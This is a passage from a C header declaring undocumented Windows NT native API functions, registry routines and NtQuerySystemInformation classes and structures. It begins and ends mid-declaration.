NTAPI RtlAllocateHandle( IN PRTL_HANDLE_TABLE HandleTable, OUT PULONG HandleIndex OPTIONAL ); NTSYSAPI BOOLEAN NTAPI RtlFreeHandle( IN PRTL_HANDLE_TABLE HandleTable, IN PRTL_HANDLE_TABLE_ENTRY Handle ); NTSYSAPI BOOLEAN NTAPI RtlIsValidIndexHandle( IN PRTL_HANDLE_TABLE HandleTable, IN ULONG HandleIndex, OUT PRTL_HANDLE_TABLE_ENTRY *Handle ); NTSYSAPI PVOID NTAPI RtlInsertElementGenericTable ( IN PRTL_GENERIC_TABLE Table, IN PVOID Buffer, IN LONG BufferSize, OUT PBOOLEAN NewElement OPTIONAL ); NTSYSAPI BOOLEAN NTAPI RtlIsGenericTableEmpty ( IN PRTL_GENERIC_TABLE Table ); NTSYSAPI BOOLEAN NTAPI RtlIsGenericTableEmpty ( IN PRTL_GENERIC_TABLE Table ); NTSYSAPI PVOID NTAPI RtlLookupElementGenericTable ( IN PRTL_GENERIC_TABLE Table, IN PVOID Buffer ); NTSYSAPI PVOID NTAPI RtlEnumerateGenericTableWithoutSplaying( IN PRTL_GENERIC_TABLE Table, IN PVOID *RestartKey ); NTSYSAPI NTSTATUS NTAPI NtClose( IN HANDLE Handle ); NTSYSAPI NTSTATUS NTAPI ZwClose( IN HANDLE Handle ); //----------------------------------------------------------------------------- // Environment functions NTSYSAPI NTSTATUS NTAPI RtlOpenCurrentUser( IN ULONG DesiredAccess, OUT PHANDLE CurrentUserKey ); NTSYSAPI NTSTATUS NTAPI RtlCreateEnvironment( BOOLEAN CloneCurrentEnvironment, PVOID *Environment ); NTSYSAPI NTSTATUS NTAPI RtlExpandEnvironmentStrings_U( IN PVOID Environment OPTIONAL, IN PUNICODE_STRING Source, OUT PUNICODE_STRING Destination, OUT PULONG ReturnedLength OPTIONAL ); NTSYSAPI NTSTATUS NTAPI RtlQueryEnvironmentVariable_U( IN PVOID Environment, IN PUNICODE_STRING Name, OUT PUNICODE_STRING Value ); NTSYSAPI ULONG NTAPI RtlDosSearchPath_U( IN PCWSTR lpPath, IN PCWSTR lpFileName, IN PCWSTR lpExtension OPTIONAL, IN ULONG nBufferLength, OUT PWSTR lpBuffer, OUT PWSTR *lpFilePart ); NTSYSAPI NTSTATUS NTAPI RtlSetEnvironmentVariable( PVOID *Environment, PUNICODE_STRING Name, PUNICODE_STRING Value ); NTSYSAPI NTSTATUS NTAPI RtlDestroyEnvironment( PVOID Environment ); //----------------------------------------------------------------------------- // Registry functions typedef enum _KEY_INFORMATION_CLASS { KeyBasicInformation, KeyNodeInformation, KeyFullInformation, KeyNameInformation, KeyCachedInformation, KeyFlagsInformation } KEY_INFORMATION_CLASS; typedef enum _KEY_VALUE_INFORMATION_CLASS { KeyValueBasicInformation = 0, KeyValueFullInformation, KeyValuePartialInformation, KeyValueFullInformationAlign64, KeyValuePartialInformationAlign64 } KEY_VALUE_INFORMATION_CLASS; typedef enum _KEY_SET_INFORMATION_CLASS { KeyWriteTimeInformation, KeyUserFlagsInformation, MaxKeySetInfoClass } KEY_SET_INFORMATION_CLASS; typedef struct _KEY_BASIC_INFORMATION { LARGE_INTEGER LastWriteTime; ULONG TitleIndex; ULONG NameLength; WCHAR Name[1]; } KEY_BASIC_INFORMATION, *PKEY_BASIC_INFORMATION; typedef struct _KEY_NODE_INFORMATION { LARGE_INTEGER LastWriteTime; ULONG TitleIndex; ULONG ClassOffset; ULONG ClassLength; ULONG NameLength; WCHAR Name[1]; } KEY_NODE_INFORMATION, *PKEY_NODE_INFORMATION; typedef struct _KEY_FULL_INFORMATION { LARGE_INTEGER LastWriteTime; ULONG TitleIndex; ULONG ClassOffset; ULONG ClassLength; ULONG SubKeys; ULONG MaxNameLen; ULONG MaxClassLen; ULONG Values; ULONG MaxValueNameLen; ULONG MaxValueDataLen; WCHAR Class[1]; } KEY_FULL_INFORMATION, *PKEY_FULL_INFORMATION; typedef struct _KEY_NAME_INFORMATION { WCHAR Name[1]; } KEY_NAME_INFORMATION, *PKEY_NAME_INFORMATION; typedef struct _KEY_CACHED_INFORMATION { LARGE_INTEGER LastWriteTime; ULONG TitleIndex; ULONG SubKeys; ULONG MaxNameLen; ULONG Values; ULONG MaxValueNameLen; ULONG MaxValueDataLen; ULONG NameLength; WCHAR Name[1]; // Variable length string } KEY_CACHED_INFORMATION, *PKEY_CACHED_INFORMATION; typedef struct _KEY_FLAGS_INFORMATION { ULONG UserFlags; } KEY_FLAGS_INFORMATION, *PKEY_FLAGS_INFORMATION; typedef struct _KEY_VALUE_BASIC_INFORMATION { ULONG TitleIndex; ULONG Type; ULONG NameLength; WCHAR Name[1]; } KEY_VALUE_BASIC_INFORMATION, *PKEY_VALUE_BASIC_INFORMATION; typedef struct _KEY_VALUE_FULL_INFORMATION { ULONG TitleIndex; ULONG Type; ULONG DataOffset; ULONG DataLength; ULONG NameLength; WCHAR Name[1]; } KEY_VALUE_FULL_INFORMATION, *PKEY_VALUE_FULL_INFORMATION; typedef struct _KEY_VALUE_PARTIAL_INFORMATION { ULONG TitleIndex; ULONG Type; ULONG DataLength; UCHAR Data[1]; } KEY_VALUE_PARTIAL_INFORMATION, *PKEY_VALUE_PARTIAL_INFORMATION; NTSYSAPI NTSTATUS NTAPI NtLoadKey( IN POBJECT_ATTRIBUTES TargetKey, IN POBJECT_ATTRIBUTES SourceFile ); NTSYSAPI NTSTATUS NTAPI NtLoadKey2( IN POBJECT_ATTRIBUTES TargetKey, IN POBJECT_ATTRIBUTES SourceFile, IN ULONG Flags ); // NtLoadKeyEx for Windows 2003 server typedef NTSTATUS (NTAPI * NTLOADKEYEX_3790)( IN POBJECT_ATTRIBUTES TargetKey, IN POBJECT_ATTRIBUTES SourceFile, IN ULONG Flags, IN HANDLE TrustClassKey OPTIONAL ); // NtLoadKeyEx for Windows Vista to Windows 8.1 typedef NTSTATUS (NTAPI * NTLOADKEYEX)( IN POBJECT_ATTRIBUTES TargetKey, IN POBJECT_ATTRIBUTES SourceFile, IN ULONG Flags, IN HANDLE TrustClassKey OPTIONAL, IN PVOID Param5, IN PVOID Param6, IN PVOID Param7, IN PVOID Param8 ); NTSYSAPI NTSTATUS NTAPI NtUnloadKey( IN POBJECT_ATTRIBUTES TargetKey ); NTSYSAPI NTSTATUS NTAPI NtCreateKey( OUT PHANDLE KeyHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN ULONG TitleIndex, IN PUNICODE_STRING Class OPTIONAL, IN ULONG CreateOptions, OUT PULONG Disposition OPTIONAL ); NTSYSAPI NTSTATUS NTAPI NtOpenKey( OUT PHANDLE KeyHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSYSAPI NTSTATUS NTAPI NtEnumerateKey( IN HANDLE KeyHandle, IN ULONG Index, IN KEY_INFORMATION_CLASS KeyInformationClass, IN PVOID KeyInformation, IN ULONG Length, IN PULONG ResultLength ); NTSYSAPI NTSTATUS NTAPI ZwEnumerateKey( IN HANDLE KeyHandle, IN ULONG Index, IN KEY_INFORMATION_CLASS KeyInformationClass, IN PVOID KeyInformation, IN ULONG Length, IN PULONG ResultLength ); NTSYSAPI NTSTATUS NTAPI NtEnumerateValueKey( IN HANDLE KeyHandle, IN ULONG Index, IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, OUT PVOID KeyValueInformation, IN ULONG Length, OUT PULONG ResultLength ); NTSYSAPI NTSTATUS NTAPI ZwEnumerateValueKey( IN HANDLE KeyHandle, IN ULONG Index, IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, OUT PVOID KeyValueInformation, IN ULONG Length, OUT PULONG ResultLength ); NTSYSAPI NTSTATUS NTAPI NtDeleteKey( IN HANDLE KeyHandle ); NTSYSAPI NTSTATUS NTAPI NtQueryKey( IN HANDLE KeyHandle, IN KEY_INFORMATION_CLASS KeyInformationClass, OUT PVOID KeyInformation OPTIONAL, IN ULONG Length, OUT PULONG ResultLength ); NTSYSAPI NTSTATUS NTAPI NtQueryValueKey( IN HANDLE KeyHandle, IN PUNICODE_STRING ValueName, IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, OUT PVOID KeyValueInformation, IN ULONG Length, OUT PULONG ResultLength ); NTSYSAPI NTSTATUS NTAPI NtSetValueKey( IN HANDLE KeyHandle, IN PUNICODE_STRING ValueName, IN ULONG TitleIndex OPTIONAL, IN ULONG Type, IN PVOID Data, IN ULONG DataSize ); NTSYSAPI NTSTATUS NTAPI NtDeleteValueKey( IN HANDLE KeyHandle, IN PUNICODE_STRING ValueName ); NTSYSAPI NTSTATUS NTAPI NtFlushKey( IN HANDLE KeyHandle ); //----------------------------------------------------------------------------- // RtlQueryRegistryValues // // The following flags specify how the Name field of a RTL_QUERY_REGISTRY_TABLE // entry is interpreted. A NULL name indicates the end of the table. // #define RTL_QUERY_REGISTRY_SUBKEY 0x00000001 // Name is a subkey and remainder of // table or until next subkey are value // names for that subkey to look at. #define RTL_QUERY_REGISTRY_TOPKEY 0x00000002 // Reset current key to original key for // this and all following table entries. #define RTL_QUERY_REGISTRY_REQUIRED 0x00000004 // Fail if no match found for this table // entry. #define RTL_QUERY_REGISTRY_NOVALUE 0x00000008 // Used to mark a table entry that has no // value name, just wants a call out, not // an enumeration of all values. #define RTL_QUERY_REGISTRY_NOEXPAND 0x00000010 // Used to suppress the expansion of // REG_MULTI_SZ into multiple callouts or // to prevent the expansion of environment // variable values in REG_EXPAND_SZ #define RTL_QUERY_REGISTRY_DIRECT 0x00000020 // QueryRoutine field ignored. EntryContext // field points to location to store value. // For null terminated strings, EntryContext // points to UNICODE_STRING structure that // that describes maximum size of buffer. // If .Buffer field is NULL then a buffer is // allocated. // #define RTL_QUERY_REGISTRY_DELETE 0x00000040 // Used to delete value keys after they // are queried. // // The following values for the RelativeTo parameter determine what the // Path parameter to RtlQueryRegistryValues is relative to. // #define RTL_REGISTRY_ABSOLUTE 0 // Path is an absolute registry path. #define RTL_REGISTRY_SERVICES 1 // Path is relative to \Registry\Machine\System\CurrentControlSet\Services #define RTL_REGISTRY_CONTROL 2 // Path is relative to \Registry\Machine\System\CurrentControlSet\Control #define RTL_REGISTRY_WINDOWS_NT 3 // Path is relative to \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion #define RTL_REGISTRY_DEVICEMAP 4 // Path is relative to \Registry\Machine\Hardware\DeviceMap #define RTL_REGISTRY_USER 5 // Path is relative to \Registry\User\CurrentUser. (For a system process, this is \User\.Default) #define RTL_REGISTRY_MAXIMUM 6 #define RTL_REGISTRY_HANDLE 0x40000000 // Specifies that the Path parameter is actually a registry handle to use #define RTL_REGISTRY_OPTIONAL 0x80000000 // Specifies that the key referenced by this parameter and the Path parameter are optional typedef NTSTATUS (NTAPI * PRTL_QUERY_REGISTRY_ROUTINE)( IN PWSTR ValueName, IN ULONG ValueType, IN PVOID ValueData, IN ULONG ValueLength, IN PVOID Context, IN PVOID EntryContext ); typedef struct _RTL_QUERY_REGISTRY_TABLE { PRTL_QUERY_REGISTRY_ROUTINE QueryRoutine; ULONG Flags; PWSTR Name; PVOID EntryContext; ULONG DefaultType; PVOID DefaultData; ULONG DefaultLength; } RTL_QUERY_REGISTRY_TABLE, *PRTL_QUERY_REGISTRY_TABLE; NTSYSAPI NTSTATUS NTAPI RtlQueryRegistryValues( IN ULONG RelativeTo, IN PCWSTR Path, IN PRTL_QUERY_REGISTRY_TABLE QueryTable, IN PVOID Context, IN PVOID Environment OPTIONAL ); //----------------------------------------------------------------------------- // Query system information typedef enum _SYSTEM_INFORMATION_CLASS { SystemBasicInformation, // 0x00 SystemProcessorInformation, // 0x01 SystemPerformanceInformation, // 0x02 SystemTimeOfDayInformation, // 0x03 SystemPathInformation, // 0x04 (Obsolete: Use KUSER_SHARED_DATA) SystemProcessInformation, // 0x05 SystemCallCountInformation, // 0x06 SystemDeviceInformation, // 0x07 SystemProcessorPerformanceInformation, // 0x08 SystemFlagsInformation, // 0x09 SystemCallTimeInformation, // 0x0a SystemModuleInformation, // 0x0b SystemLocksInformation, // 0x0c SystemStackTraceInformation, // 0x0d SystemPagedPoolInformation, // 0x0e SystemNonPagedPoolInformation, // 0x0f SystemHandleInformation, // 0x10 SystemObjectInformation, // 0x11 SystemPageFileInformation, // 0x12 SystemVdmInstemulInformation, // 0x13 SystemVdmBopInformation, // 0x14 SystemFileCacheInformation, // 0x15 SystemPoolTagInformation, // 0x16 SystemInterruptInformation, // 0x17 SystemDpcBehaviorInformation, // 0x18 SystemFullMemoryInformation, // 0x19 SystemLoadGdiDriverInformation, // 0x1a SystemUnloadGdiDriverInformation, // 0x1b SystemTimeAdjustmentInformation, // 0x1c SystemSummaryMemoryInformation, // 0x1d SystemMirrorMemoryInformation, // 0x1e SystemPerformanceTraceInformation, // 0x1f SystemObsolete0, // 0x20 SystemExceptionInformation, // 0x21 SystemCrashDumpStateInformation, // 0x22 SystemKernelDebuggerInformation, // 0x23 SystemContextSwitchInformation, // 0x24 SystemRegistryQuotaInformation, // 0x25 SystemExtendServiceTableInformation, // 0x26 SystemPrioritySeperation, // 0x27 SystemPlugPlayBusInformation, // 0x28 SystemDockInformation, // 0x29 SystemPowerInformationNative, // 0x2a SystemProcessorSpeedInformation, // 0x2b SystemCurrentTimeZoneInformation, // 0x2c SystemLookasideInformation, SystemTimeSlipNotification, SystemSessionCreate, SystemSessionDetach, SystemSessionInformation, SystemRangeStartInformation, SystemVerifierInformation, SystemAddVerifier, SystemSessionProcessesInformation, SystemLoadGdiDriverInSystemSpaceInformation, SystemNumaProcessorMap, SystemPrefetcherInformation, SystemExtendedProcessInformation, SystemRecommendedSharedDataAlignment, SystemComPlusPackage, SystemNumaAvailableMemory, SystemProcessorPowerInformation, SystemEmulationBasicInformation, SystemEmulationProcessorInformation, SystemExtendedHandleInformation, SystemLostDelayedWriteInformation, SystemBigPoolInformation, SystemSessionPoolTagInformation, SystemSessionMappedViewInformation, SystemHotpatchInformation, SystemObjectSecurityMode, SystemWatchDogTimerHandler, SystemWatchDogTimerInformation, SystemLogicalProcessorInformation, SystemWo64SharedInformationObosolete, SystemRegisterFirmwareTableInformationHandler, SystemFirmwareTableInformation, SystemModuleInformationEx, SystemVerifierTriageInformation, SystemSuperfetchInformation, SystemMemoryListInformation, SystemFileCacheInformationEx, SystemThreadPriorityClientIdInformation, SystemProcessorIdleCycleTimeInformation, SystemVerifierCancellationInformation, SystemProcessorPowerInformationEx, SystemRefTraceInformation, SystemSpecialPoolInformation, SystemProcessIdInformation, SystemErrorPortInformation, SystemBootEnvironmentInformation, SystemHypervisorInformation, SystemVerifierInformationEx, SystemTimeZoneInformation, SystemImageFileExecutionOptionsInformation, SystemCoverageInformation, SystemPrefetchPathInformation, SystemVerifierFaultsInformation, MaxSystemInfoClass, } SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS; // // Thread priority // typedef LONG KPRIORITY; // // Information Structures for NtQuerySystemInformation // typedef struct _SYSTEM_BASIC_INFORMATION { ULONG Reserved; ULONG TimerResolution; ULONG PageSize; ULONG NumberOfPhysicalPages; ULONG LowestPhysicalPageNumber; ULONG HighestPhysicalPageNumber; ULONG AllocationGranularity; ULONG_PTR MinimumUserModeAddress; ULONG_PTR MaximumUserModeAddress; ULONG_PTR ActiveProcessorsAffinityMask; CCHAR NumberOfProcessors; } SYSTEM_BASIC_INFORMATION, *PSYSTEM_BASIC_INFORMATION; // Class 1 typedef struct _SYSTEM_PROCESSOR_INFORMATION { USHORT ProcessorArchitecture; USHORT ProcessorLevel; USHORT ProcessorRevision; USHORT Reserved; ULONG ProcessorFeatureBits; } SYSTEM_PROCESSOR_INFORMATION, *PSYSTEM_PROCESSOR_INFORMATION; // Class 2 typedef struct _SYSTEM_PERFORMANCE_INFORMATION { LARGE_INTEGER IdleProcessTime; LARGE_INTEGER IoReadTransferCount; LARGE_INTEGER IoWriteTransferCount; LARGE_INTEGER IoOtherTransferCount; ULONG IoReadOperationCount; ULONG IoWriteOperationCount; ULONG IoOtherOperationCount; ULONG AvailablePages; ULONG CommittedPages; ULONG CommitLimit; ULONG PeakCommitment; ULONG PageFaultCount; ULONG CopyOnWriteCount; ULONG TransitionCount; ULONG CacheTransitionCount; ULONG DemandZeroCount; ULONG PageReadCount; ULONG PageReadIoCount; ULONG CacheReadCount; ULONG CacheIoCount; ULONG DirtyPagesWriteCount; ULONG DirtyWriteIoCount; ULONG MappedPagesWriteCount; ULONG MappedWriteIoCount; ULONG PagedPoolPages; ULONG NonPagedPoolPages; ULONG PagedPoolAllocs; ULONG PagedPoolFrees; ULONG NonPagedPoolAllocs; ULONG NonPagedPoolFrees; ULONG FreeSystemPtes; ULONG ResidentSystemCodePage; ULONG TotalSystemDriverPages; ULONG TotalSystemCodePages; ULONG NonPagedPoolLookasideHits; ULONG PagedPoolLookasideHits; ULONG Spare3Count; ULONG ResidentSystemCachePage; ULONG ResidentPagedPoolPage; ULONG ResidentSystemDriverPage; ULONG CcFastReadNoWait; ULONG CcFastReadWait; ULONG CcFastReadResourceMiss; ULONG CcFastReadNotPossible; ULONG CcFastMdlReadNoWait; ULONG CcFastMdlReadWait; ULONG CcFastMdlReadResourceMiss; ULONG CcFastMdlReadNotPossible; ULONG CcMapDataNoWait; ULONG CcMapDataWait; ULONG CcMapDataNoWaitMiss; ULONG CcMapDataWaitMiss; ULONG CcPinMappedDataCount; ULONG CcPinReadNoWait; ULONG CcPinReadWait; ULONG CcPinReadNoWaitMiss; ULONG CcPinReadWaitMiss; ULONG CcCopyReadNoWait; ULONG CcCopyReadWait; ULONG CcCopyReadNoWaitMiss; ULONG CcCopyReadWaitMiss; ULONG CcMdlReadNoWait; ULONG CcMdlReadWait; ULONG CcMdlReadNoWaitMiss; ULONG CcMdlReadWaitMiss; ULONG CcReadAheadIos; ULONG CcLazyWriteIos; ULONG CcLazyWritePages; ULONG CcDataFlushes; ULONG CcDataPages; ULONG ContextSwitches; ULONG FirstLevelTbFills; ULONG SecondLevelTbFills; ULONG SystemCalls; } SYSTEM_PERFORMANCE_INFORMATION, *PSYSTEM_PERFORMANCE_INFORMATION; // Class 3 typedef struct _SYSTEM_TIMEOFDAY_INFORMATION { LARGE_INTEGER BootTime; LARGE_INTEGER CurrentTime; LARGE_INTEGER TimeZoneBias; ULONG TimeZoneId; ULONG Reserved; LARGE_INTEGER BootTimeBias; LARGE_INTEGER SleepTimeBias; } SYSTEM_TIMEOFDAY_INFORMATION, *PSYSTEM_TIMEOFDAY_INFORMATION; // Class 4 // This class is obsolete, please use KUSER_SHARED_DATA instead // Class 5 typedef struct _SYSTEM_THREAD_INFORMATION { LARGE_INTEGER KernelTime; LARGE_INTEGER UserTime; LARGE_INTEGER CreateTime; ULONG WaitTime; PVOID StartAddress; CLIENT_ID ClientId; KPRIORITY Priority; LONG BasePriority; ULONG ContextSwitches; ULONG ThreadState; ULONG WaitReason; } SYSTEM_THREAD_INFORMATION, *PSYSTEM_THREAD_INFORMATION; typedef struct _SYSTEM_PROCESS_INFORMATION { ULONG NextEntryOffset; ULONG NumberOfThreads; LARGE_INTEGER SpareLi1; LARGE_INTEGER SpareLi2; LARGE_INTEGER SpareLi3; LARGE_INTEGER CreateTime; LARGE_INTEGER UserTime; LARGE_INTEGER KernelTime; UNICODE_STRING ImageName; KPRIORITY BasePriority; HANDLE UniqueProcessId; HANDLE InheritedFromUniqueProcessId; ULONG HandleCount; ULONG SessionId; ULONG_PTR PageDirectoryBase; // // This part corresponds to VM_COUNTERS_EX. // NOTE: *NOT* THE SAME AS VM_COUNTERS! // SIZE_T PeakVirtualSize; ULONG VirtualSize; SIZE_T PageFaultCount; SIZE_T PeakWorkingSetSize; SIZE_T WorkingSetSize; SIZE_T QuotaPeakPagedPoolUsage; SIZE_T QuotaPagedPoolUsage; SIZE_T QuotaPeakNonPagedPoolUsage; SIZE_T QuotaNonPagedPoolUsage; SIZE_T PagefileUsage; SIZE_T PeakPagefileUsage; SIZE_T PrivatePageCount; // // This part corresponds to IO_COUNTERS // LARGE_INTEGER ReadOperationCount; LARGE_INTEGER WriteOperationCount; LARGE_INTEGER OtherOperationCount; LARGE_INTEGER ReadTransferCount; LARGE_INTEGER WriteTransferCount; LARGE_INTEGER OtherTransferCount; //SYSTEM_THREAD_INFORMATION TH[1]; } SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION; // Class 6 typedef struct _SYSTEM_CALL_COUNT_INFORMATION { ULONG Length; ULONG NumberOfTables; } SYSTEM_CALL_COUNT_INFORMATION, *PSYSTEM_CALL_COUNT_INFORMATION; // Class 7 typedef struct _SYSTEM_DEVICE_INFORMATION { ULONG NumberOfDisks; ULONG NumberOfFloppies; ULONG NumberOfCdRoms; ULONG NumberOfTapes; ULONG NumberOfSerialPorts; ULONG NumberOfParallelPorts; } SYSTEM_DEVICE_INFORMATION, *PSYSTEM_DEVICE_INFORMATION; // Class 8 typedef struct _SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION { LARGE_INTEGER IdleTime; LARGE_INTEGER KernelTime; LARGE_INTEGER UserTime; LARGE_INTEGER DpcTime; LARGE_INTEGER InterruptTime; ULONG InterruptCount; } SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION, *PSYSTEM_PROCESSOR_PERFORMANCE_INFORMATION; // Class 9 typedef struct _SYSTEM_FLAGS_INFORMATION { ULONG Flags; } SYSTEM_FLAGS_INFORMATION, *PSYSTEM_FLAGS_INFORMATION; // Class 10 typedef struct _SYSTEM_CALL_TIME_INFORMATION { ULONG Length; ULONG TotalCalls; LARGE_INTEGER TimeOfCalls[1]; } SYSTEM_CALL_TIME_INFORMATION, *PSYSTEM_CALL_TIME_INFORMATION; // Class 11 - See RTL_PROCESS_MODULES typedef struct _RTL_PROCESS_MODULE_INFORMATION { ULONG Section; PVOID MappedBase; PVOID ImageBase; ULONG ImageSize; ULONG Flags; USHORT LoadOrderIndex; USHORT InitOrderIndex; USHORT LoadCount; USHORT OffsetToFileName; CHAR FullPathName[256]; } RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION, SYSTEM_MODULE, *PSYSTEM_MODULE; typedef struct _RTL_PROCESS_MODULES { ULONG NumberOfModules; RTL_PROCESS_MODULE_INFORMATION Modules[1]; } RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES, SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; // Class 12 - See RTL_PROCESS_LOCKS typedef struct _RTL_PROCESS_LOCK_INFORMATION { PVOID Address; USHORT Type; USHORT CreatorBackTraceIndex; ULONG OwnerThreadId; ULONG ActiveCount; ULONG ContentionCount; ULONG EntryCount; ULONG RecursionCount; ULONG NumberOfSharedWaiters; ULONG NumberOfExclusiveWaiters; } RTL_PROCESS_LOCK_INFORMATION, *PRTL_PROCESS_LOCK_INFORMATION; typedef struct _RTL_PROCESS_LOCKS { ULONG NumberOfLocks; RTL_PROCESS_LOCK_INFORMATION Locks[1]; } RTL_PROCESS_LOCKS, *PRTL_PROCESS_LOCKS; // Class 13 - See RTL_PROCESS_BACKTRACES typedef struct _RTL_PROCESS_BACKTRACE_INFORMATION { PVOID SymbolicBackTrace; ULONG TraceCount; USHORT Index; USHORT Depth; PVOID BackTrace[16]; } RTL_PROCESS_BACKTRACE_INFORMATION, *PRTL_PROCESS_BACKTRACE_INFORMATION; typedef struct _RTL_PROCESS_BACKTRACES { ULONG CommittedMemory; ULONG ReservedMemory; ULONG NumberOfBackTraceLookups; ULONG NumberOfBackTraces; RTL_PROCESS_BACKTRACE_INFORMATION BackTraces[1]; } RTL_PROCESS_BACKTRACES, *PRTL_PROCESS_BACKTRACES; // Class 14 - 15 typedef struct _SYSTEM_POOL_ENTRY { BOOLEAN Allocated; BOOLEAN Spare0; USHORT AllocatorBackTraceIndex; ULONG Size; union { UCHAR Tag[4]; ULONG TagUlong; PVOID ProcessChargedQuota; }; } SYSTEM_POOL_ENTRY, *PSYSTEM_POOL_ENTRY; typedef struct _SYSTEM_POOL_INFORMATION { ULONG TotalSize; PVOID FirstEntry; USHORT EntryOverhead; BOOLEAN PoolTagPresent; BOOLEAN Spare0; ULONG NumberOfEntries; SYSTEM_POOL_ENTRY Entries[1]; } SYSTEM_POOL_INFORMATION, *PSYSTEM_POOL_INFORMATION; // Class 16 typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO { USHORT UniqueProcessId; USHORT CreatorBackTraceIndex; UCHAR ObjectTypeIndex; UCHAR HandleAttributes; USHORT HandleValue; PVOID Object; ULONG GrantedAccess; } SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO; typedef struct _SYSTEM_HANDLE_INFORMATION { ULONG NumberOfHandles; SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1]; } SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; // Class 17 typedef struct _SYSTEM_OBJECTTYPE_INFORMATION { ULONG NextEntryOffset; ULONG NumberOfObjects; ULONG NumberOfHandles; ULONG TypeIndex; ULONG InvalidAttributes; GENERIC_MAPPING GenericMapping; ULONG ValidAccessMask; ULONG PoolType; BOOLEAN SecurityRequired; BOOLEAN WaitableObject; UNICODE_STRING TypeName; } SYSTEM_OBJECTTYPE_INFORMATION, *PSYSTEM_OBJECTTYPE_INFORMATION; typedef struct _SYSTEM_OBJECT_INFORMATION { ULONG NextEntryOffset; PVOID Object; HANDLE CreatorUniqueProcess; USHORT CreatorBackTraceIndex; USHORT Flags; LONG PointerCount; LONG HandleCount; ULONG PagedPoolCharge; ULONG NonPagedPoolCharge; HANDLE ExclusiveProcessId; PVOID SecurityDescriptor; OBJECT_NAME_INFORMATION NameInfo; } SYSTEM_OBJECT_INFORMATION, *PSYSTEM_OBJECT_INFORMATION; // Class 18 typedef struct _SYSTEM_PAGEFILE_INFORMATION { ULONG NextEntryOffset; ULONG TotalSize; ULONG TotalInUse; ULONG PeakUsage; UNICODE_STRING PageFileName; } SYSTEM_PAGEFILE_INFORMATION, *PSYSTEM_PAGEFILE_INFORMATION; // Class 19 typedef struct _SYSTEM_VDM_INSTEMUL_INFO { ULONG SegmentNotPresent; ULONG VdmOpcode0F; ULONG OpcodeESPrefix; ULONG OpcodeCSPrefix; ULONG OpcodeSSPrefix; ULONG OpcodeDSPrefix; ULONG OpcodeFSPrefix; ULONG OpcodeGSPrefix; ULONG OpcodeOPER32Prefix; ULONG OpcodeADDR32Prefix; ULONG OpcodeINSB; ULONG OpcodeINSW; ULONG OpcodeOUTSB; ULONG OpcodeOUTSW; ULONG OpcodePUSHF; ULONG OpcodePOPF; ULONG OpcodeINTnn; ULONG OpcodeINTO; ULONG OpcodeIRET; ULONG OpcodeINBimm; ULONG OpcodeINWimm; ULONG OpcodeOUTBimm; ULONG OpcodeOUTWimm ; ULONG OpcodeINB; ULONG OpcodeINW; ULONG OpcodeOUTB; ULONG OpcodeOUTW; ULONG OpcodeLOCKPrefix; ULONG OpcodeREPNEPrefix; ULONG OpcodeREPPrefix; ULONG OpcodeHLT; ULONG OpcodeCLI; ULONG OpcodeSTI; ULONG BopCount; } SYSTEM_VDM_INSTEMUL_INFO, *PSYSTEM_VDM_INSTEMUL_INFO; // Class 20 - ULONG VDMBOPINFO // Class 21 typedef struct _SYSTEM_FILECACHE_INFORMATION { ULONG CurrentSize; ULONG PeakSize; ULONG PageFaultCount; ULONG MinimumWorkingSet; ULONG MaximumWorkingSet; ULONG CurrentSizeIncludingTransitionInPages; ULONG PeakSizeIncludingTransitionInPages; ULONG TransitionRePurposeCount; ULONG Flags; } SYSTEM_FILECACHE_INFORMATION, *PSYSTEM_FILECACHE_INFORMATION; // Class 22 typedef struct _SYSTEM_POOLTAG { union { UCHAR Tag[4]; ULONG TagUlong; }; ULONG PagedAllocs; ULONG PagedFrees; ULONG PagedUsed; ULONG NonPagedAllocs; ULONG NonPagedFrees; ULONG NonPagedUsed; } SYSTEM_POOLTAG, *PSYSTEM_POOLTAG; typedef struct _SYSTEM_POOLTAG_INFORMATION { ULONG Count; SYSTEM_POOLTAG TagInfo[1]; } SYSTEM_POOLTAG_INFORMATION, *PSYSTEM_POOLTAG_INFORMATION; // Class 23 typedef struct _SYSTEM_INTERRUPT_INFORMATION { ULONG ContextSwitches; ULONG DpcCount; ULONG DpcRate; ULONG TimeIncrement; ULONG DpcBypassCount; ULONG ApcBypassCount; } SYSTEM_INTERRUPT_INFORMATION, *PSYSTEM_INTERRUPT_INFORMATION; // Class 24 typedef struct _SYSTEM_DPC_BEHAVIOR_INFORMATION { ULONG Spare; ULONG DpcQueueDepth; ULONG MinimumDpcRate; ULONG AdjustDpcThreshold; ULONG IdealDpcRate; } SYSTEM_DPC_BEHAVIOR_INFORMATION, *PSYSTEM_DPC_BEHAVIOR_INFORMATION; // Class 25 typedef struct _SYSTEM_MEMORY_INFO { PUCHAR StringOffset; USHORT ValidCount; USHORT TransitionCount; USHORT ModifiedCount; USHORT PageTableCount; } SYSTEM_MEMORY_INFO, *PSYSTEM_MEMORY_INFO; typedef struct _SYSTEM_MEMORY_INFORMATION { ULONG InfoSize; ULONG StringStart; SYSTEM_MEMORY_INFO Memory[1]; } SYSTEM_MEMORY_INFORMATION, *PSYSTEM_MEMORY_INFORMATION; // Class 26 typedef struct _SYSTEM_GDI_DRIVER_INFORMATION { UNICODE_STRING DriverName; PVOID ImageAddress; PVOID SectionPointer; PVOID EntryPoint; PIMAGE_EXPORT_DIRECTORY ExportSectionPointer; ULONG ImageLength; } SYSTEM_GDI_DRIVER_INFORMATION, *PSYSTEM_GDI_DRIVER_INFORMATION; // Class 27 // Not an 